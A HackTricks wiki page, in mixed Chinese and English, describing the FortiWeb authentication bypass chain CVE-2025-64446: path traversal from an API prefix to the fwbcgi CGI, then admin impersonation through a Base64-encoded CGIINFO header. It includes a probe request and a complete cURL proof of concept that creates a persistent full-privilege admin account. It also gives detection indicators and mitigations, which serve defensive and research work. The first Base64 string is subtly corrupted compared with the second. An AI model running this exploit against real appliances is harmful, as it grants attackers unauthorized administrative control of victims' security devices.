Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
Fortinet FortiWeb 在 /cgi-bin/fwbcgi 暴露了一个集中式 CGI 分发器。一个两漏洞链允许未认证的远程攻击者:
- 通过以有效的 API prefix 开头的 URL 并 traversing directories 来到达
fwbcgi。 - 通过提供一个 CGI 信任为身份的特殊 HTTP header 来 impersonate 任意用户(包括内置的
admin)。
厂商公告:FG‑IR‑25‑910 (CVE‑2025‑64446)。已观察到在野外利用该漏洞创建持久的 admin 用户。
受影响版本(公开记录):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 对下面的 traversal probe 返回 HTTP 403。
快速漏洞探测
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- 解释:HTTP 200 → 可能易受攻击;HTTP 403 → 已修补。
根本原因链
- API-prefix path traversal 到内部 CGI
- 任何以有效 FortiWeb API 前缀(例如
/api/v2.0/cmdb/或/api/v2.0/cmd/)开头的请求路径,都可以使用../遍历到/cgi-bin/fwbcgi。
- Minimal-body validation bypass
- 一旦到达
fwbcgi,第一个关卡会执行一个宽松的 JSON 检查,其规则由/var/log/inputcheck/下的每路径文件决定。如果该文件不存在,检查会立即通过。如果存在,请求体只需是有效的 JSON 即可。使用{}作为最小合规体。
- Header-driven user impersonation
- 该程序读取 CGI 环境变量
HTTP_CGIINFO(来源于 HTTP 头CGIINFO),对其进行 Base64 解码,解析 JSON,并将属性直接复制到登录上下文中,设置 domain/VDOM。关注的键: username,loginname,vdom,profname- 示例 JSON 用于冒充内置 admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
上述内容的 Base64(在真实环境中使用):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
端到端滥用模式 (unauthenticated → admin)
- 通过 API 前缀遍历访问
/cgi-bin/fwbcgi。 - 提供任意有效 JSON 正文(例如
{})以满足输入检查。 - 发送头
CGIINFO: <base64(json)>,其中 JSON 定义目标身份。 - 向
fwbcgiPOST 后端期望的 JSON 以执行特权操作(例如创建管理员用户以保持持久性)。
Minimal cURL PoC
- 探测遍历暴露:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Impersonate admin 并创建一个新的 local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
注意:
- Any valid JSON body suffices (e.g.,
{}) if/var/log/inputcheck/<path>.jsondoes not exist. - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
检测
- Requests reaching
/cgi-bin/fwbcgivia API-prefix paths containing../(e.g.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Presence of header
CGIINFOwith Base64 JSON containing keysusername/loginname/vdom/profname. - Backend artifacts:
- Per-path files under
/var/log/inputcheck/(gate configuration). - Unexpected admin creation and configuration changes.
- Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).
缓解
- Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
- Until patched:
- Do not expose FortiWeb management plane to untrusted networks.
- Add reverse-proxy/WAF rules to block:
- Paths that start with
/api/and contain../cgi-bin/fwbcgi. - Requests carrying a
CGIINFOheader. - Monitor and alert on the detection indicators above.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

